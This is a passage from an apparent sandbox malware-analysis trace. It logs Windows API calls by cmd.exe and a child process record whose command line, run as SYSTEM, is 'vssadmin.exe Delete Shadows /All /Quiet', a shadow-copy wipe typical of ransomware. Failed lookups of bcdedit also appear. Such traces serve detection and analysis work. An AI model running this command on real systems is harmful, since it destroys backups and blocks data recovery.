Ptr=0x410a08, Size=0x58) returned 0x410a08 [0067.376] GetProcessHeap () returned 0x410000 [0067.376] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x410a08) returned 0x58 [0067.376] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x8f [0067.376] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.376] GetProcessHeap () returned 0x410000 [0067.376] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x162) returned 0x4236e8 [0067.376] GetProcessHeap () returned 0x410000 [0067.376] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x2bc) returned 0x410a68 [0067.384] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x410a68, Size=0x164) returned 0x410a68 [0067.384] GetProcessHeap () returned 0x410000 [0067.384] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x410a68) returned 0x164 [0067.384] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0067.384] GetProcessHeap () returned 0x410000 [0067.384] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xe0) returned 0x410bd8 [0067.384] RtlReAllocateHeap (Heap=0x410000, Flags=0x0, Ptr=0x410bd8, Size=0x76) returned 0x410bd8 [0067.384] GetProcessHeap () returned 0x410000 [0067.384] RtlSizeHeap (HeapHandle=0x410000, Flags=0x0, MemoryPointer=0x410bd8) returned 0x76 [0067.387] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x3af044, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af044) returned 0xffffffff [0067.387] GetLastError () returned 0x2 [0067.387] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vssadmin.exe.*", fInfoLevelId=0x1, lpFindFileData=0x3af024, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af024) returned 0xffffffff [0067.387] GetLastError () returned 0x2 [0067.387] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x3af024, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af024) returned 0xffffffff [0067.388] GetLastError () returned 0x2 [0067.388] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.exe", fInfoLevelId=0x1, lpFindFileData=0x3af044, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3af044) returned 0x410c58 [0067.389] GetProcessHeap () returned 0x410000 [0067.389] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x0, Size=0x14) returned 0x423858 [0067.389] FindClose (in: hFindFile=0x410c58 | out: hFindFile=0x410c58) returned 1 [0067.389] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0067.389] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0067.389] GetConsoleTitleW (in: lpConsoleTitle=0x3af51c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0067.390] InitializeProcThreadAttributeList (in: lpAttributeList=0x3af3a4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3af46c | out: lpAttributeList=0x3af3a4, lpSize=0x3af46c) returned 1 [0067.390] UpdateProcThreadAttribute (in: lpAttributeList=0x3af3a4, dwFlags=0x0, Attribute=0x60001, lpValue=0x3af464, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3af3a4, lpPreviousValue=0x0) returned 1 [0067.390] GetStartupInfoW (in: lpStartupInfo=0x3af360 | out: lpStartupInfo=0x3af360*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0067.420] CloseHandle (hObject=0x84) returned 1 [0067.420] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.420] GetProcessHeap () returned 0x410000 [0067.420] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x424f10 | out: hHeap=0x410000) returned 1 [0067.420] GetEnvironmentStringsW () returned 0x424eb0* [0067.420] GetProcessHeap () returned 0x410000 [0067.421] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb64) returned 0x427a80 [0067.421] FreeEnvironmentStringsW (penv=0x424eb0) returned 1 [0067.421] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0xffffffff) returned 0x0 [0076.813] GetExitCodeProcess (in: hProcess=0x88, lpExitCode=0x3af340 | out: lpExitCode=0x3af340*=0x2) returned 1 [0076.814] CloseHandle (hObject=0x88) returned 1 [0076.814] _vsnwprintf (in: _Buffer=0x3af488, _BufferCount=0x13, _Format="%08X", _ArgList=0x3af34c | out: _Buffer="00000002") returned 8 [0076.830] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0076.839] GetProcessHeap () returned 0x410000 [0076.839] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x427a80 | out: hHeap=0x410000) returned 1 [0076.839] GetEnvironmentStringsW () returned 0x427a80* [0076.839] GetProcessHeap () returned 0x410000 [0076.839] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb8a) returned 0x428618 [0076.839] FreeEnvironmentStringsW (penv=0x427a80) returned 1 [0076.839] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.839] GetProcessHeap () returned 0x410000 [0076.839] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x428618 | out: hHeap=0x410000) returned 1 [0076.840] GetEnvironmentStringsW () returned 0x427a80* [0076.840] GetProcessHeap () returned 0x410000 [0076.840] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xb8a) returned 0x428618 [0076.840] FreeEnvironmentStringsW (penv=0x427a80) returned 1 [0076.840] GetProcessHeap () returned 0x410000 [0076.840] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x420198 | out: hHeap=0x410000) returned 1 [0076.840] DeleteProcThreadAttributeList (in: lpAttributeList=0x3af3a4 | out: lpAttributeList=0x3af3a4) [0076.840] GetConsoleTitleW (in: lpConsoleTitle=0x3af724, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0076.841] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.841] GetProcessHeap () returned 0x410000 [0076.841] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x162) returned 0x410ec8 [0076.841] GetProcessHeap () returned 0x410000 [0076.841] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x2bc) returned 0x411038 [0076.841] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.842] GetLastError () returned 0x2 [0076.842] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.842] GetLastError () returned 0x2 [0076.842] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.842] GetLastError () returned 0x2 [0076.842] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.842] GetLastError () returned 0x2 [0076.842] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.843] GetLastError () returned 0x2 [0076.843] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.843] GetLastError () returned 0x2 [0076.843] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.856] GetLastError () returned 0x2 [0076.867] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.877] GetLastError () returned 0x2 [0076.877] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.878] GetLastError () returned 0x2 [0076.878] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.890] GetLastError () returned 0x2 [0076.890] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.892] GetLastError () returned 0x2 [0076.897] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0076.923] GetLastError () returned 0x2 [0076.949] _get_osfhandle (_FileHandle=2) returned 0xb [0076.955] GetFileType (hFile=0xb) returned 0x2 [0076.964] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0076.964] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x3af414 | out: lpMode=0x3af414) returned 1 [0076.970] _get_osfhandle (_FileHandle=2) returned 0xb [0076.972] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x3af448 | out: lpConsoleScreenBufferInfo=0x3af448) returned 1 [0077.005] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4aa54640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0077.037] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4aa54640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x3af46c, lpReserved=0x0 | out: lpBuffer=0x4aa54640*, lpNumberOfCharsWritten=0x3af46c*=0x62) returned 1 [0077.038] GetConsoleTitleW (in: lpConsoleTitle=0x3af724, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0077.048] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.053] GetProcessHeap () returned 0x410000 [0077.068] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x162) returned 0x4226e0 [0077.068] GetProcessHeap () returned 0x410000 [0077.068] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x2bc) returned 0x422850 [0077.072] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.078] GetLastError () returned 0x2 [0077.081] FindFirstFileExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.090] GetLastError () returned 0x2 [0077.090] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.090] GetLastError () returned 0x2 [0077.090] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.091] GetLastError () returned 0x2 [0077.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.091] GetLastError () returned 0x2 [0077.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.091] GetLastError () returned 0x2 [0077.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.098] GetLastError () returned 0x2 [0077.102] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.268] GetLastError () returned 0x2 [0077.269] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.284] GetLastError () returned 0x2 [0077.287] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.336] GetLastError () returned 0x2 [0077.339] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.382] GetLastError () returned 0x2 [0077.388] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x3aefc0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aefc0) returned 0xffffffff [0077.418] GetLastError () returned 0x2 [0077.426] _get_osfhandle (_FileHandle=2) returned 0xb [0077.430] GetFileType (hFile=0xb) returned 0x2 [0077.435] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0077.435] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x3af414 | out: lpMode=0x3af414) returned 1 [0077.485] _get_osfhandle (_FileHandle=2) returned 0xb [0077.485] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x3af448 | out: lpConsoleScreenBufferInfo=0x3af448) returned 1 [0077.487] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4aa54640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0077.492] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4aa54640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x3af46c, lpReserved=0x0 | out: lpBuffer=0x4aa54640*, lpNumberOfCharsWritten=0x3af46c*=0x62) returned 1 [0077.552] _get_osfhandle (_FileHandle=1) returned 0x7 [0077.552] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0077.564] _get_osfhandle (_FileHandle=1) returned 0x7 [0077.568] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0077.568] _get_osfhandle (_FileHandle=0) returned 0x3 [0077.568] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0077.568] SetConsoleInputExeNameW () returned 0x1 [0077.568] GetConsoleOutputCP () returned 0x1b5 [0077.569] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0077.569] SetThreadUILanguage (LangId=0x0) returned 0x409 [0077.584] exit (_Code=1) Process: id = "3" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x41aa0000" os_pid = "0xf14" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0xef8" cmd_line = "vssadmin.exe Delete Shadows /All /Quiet " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 609 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 610 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 611 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 612 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 613 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 614 start_va = 0xa0000 end_va = 0xa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 615 start_va = 0xd0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 616 start_va = 0x9c0000 end_va = 0x9defff monitored = 0 entry_point = 0x9d1f03 region_type = mapped_file name = "vssadmin.exe" filename = "\\Windows\\SysWOW64\\vssadmin.exe" (normalized: "c:\\windows\\syswow64\\vssadmin.exe") Region: id = 617 start_va = 0x77380000 end_va = 0x77528fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 618 start_va = 0x77560000 end_va = 0x776dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 619 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 620 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 621 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 622 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 623 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 624 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 625 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 626 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 627 start_va = 0x749b0000 end_va = 0x749b7fff monitored = 0 entry_point = 0x749b20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 628 start_va = 0x749c0000 end_va = 0x74a1bfff monitored = 0 entry_point = 0x749ff798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 629 start_va = 0x74a20000 end_va = 0x74a5efff monitored = 0 entry_point = 0x74a4de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 630 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 631 start_va = 0x75b20000 end_va = 0x75c2ffff monitored = 0 entry_point = 0x75b332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 632 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 633 start_va = 0x77160000 end_va = 0x7727efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077160000" filename = "" Region: id = 634 start_va = 0x77280000 end_va = 0x77379fff monitored = 0 entry_point = 0x7729a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 635 start_va = 0x77280000 end_va = 0x77379fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077280000" filename = "" Region: id = 636 start_va = 0x260000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 637 start_va = 0x75b20000 end_va = 0x75c2ffff monitored = 0 entry_point = 0x75b332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 638 start_va = 0x75c60000 end_va = 0x75ca5fff monitored = 0 entry_point = 0x75c67478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 639 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 640 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 641 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 642 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 643 start_va = 0x110000 end_va = 0x176fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 644 start_va = 0x751d0000 end_va = 0x7526ffff monitored = 0 entry_point = 0x751e49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 645 start_va = 0x75120000 end_va = 0x751cbfff monitored = 0 entry_point = 0x7512a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 646 start_va = 0x75eb0000 end_va = 0x75ec8fff monitored = 0 entry_point = 0x75eb4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 647 start_va = 0x77070000 end_va = 0x7715ffff monitored = 0 entry_point = 0x77080569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 648 start_va = 0x750b0000 end_va = 0x7510ffff monitored = 0 entry_point = 0x750ca3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 649 start_va = 0x750a0000 end_va = 0x750abfff monitored = 0 entry_point = 0x750a10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 650 start_va = 0x74d90000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d91da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 651 start_va = 0x75d10000 end_va = 0x75e0ffff monitored = 0 entry_point = 0x75d2b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 652 start_va = 0x75ed0000 end_va = 0x75f5ffff monitored = 0 entry_point = 0x75ee6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 653 start_va = 0x77530000 end_va = 0x77539fff monitored = 0 entry_point = 0x775336a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 654 start_va = 0x75e10000 end_va = 0x75eacfff monitored = 0 entry_point = 0x75e43fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 655 start_va = 0x74d80000 end_va = 0x74d8ffff monitored = 0 entry_point = 0x74d81270 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\SysWOW64\\vsstrace.dll" (normalized: "c:\\windows\\syswow64\\vsstrace.dll") Region: id = 656 start_va = 0x754c0000 end_va = 0x7561bfff monitored = 0 entry_point = 0x7550ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 657 start_va = 0x75f60000 end_va = 0x75feefff monitored = 0 entry_point = 0x75f63fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 658 start_va = 0x74c60000 end_va = 0x74d75fff monitored = 0 entry_point = 0x74c61590 region_type = mapped_file name = "vssapi.dll" filename = 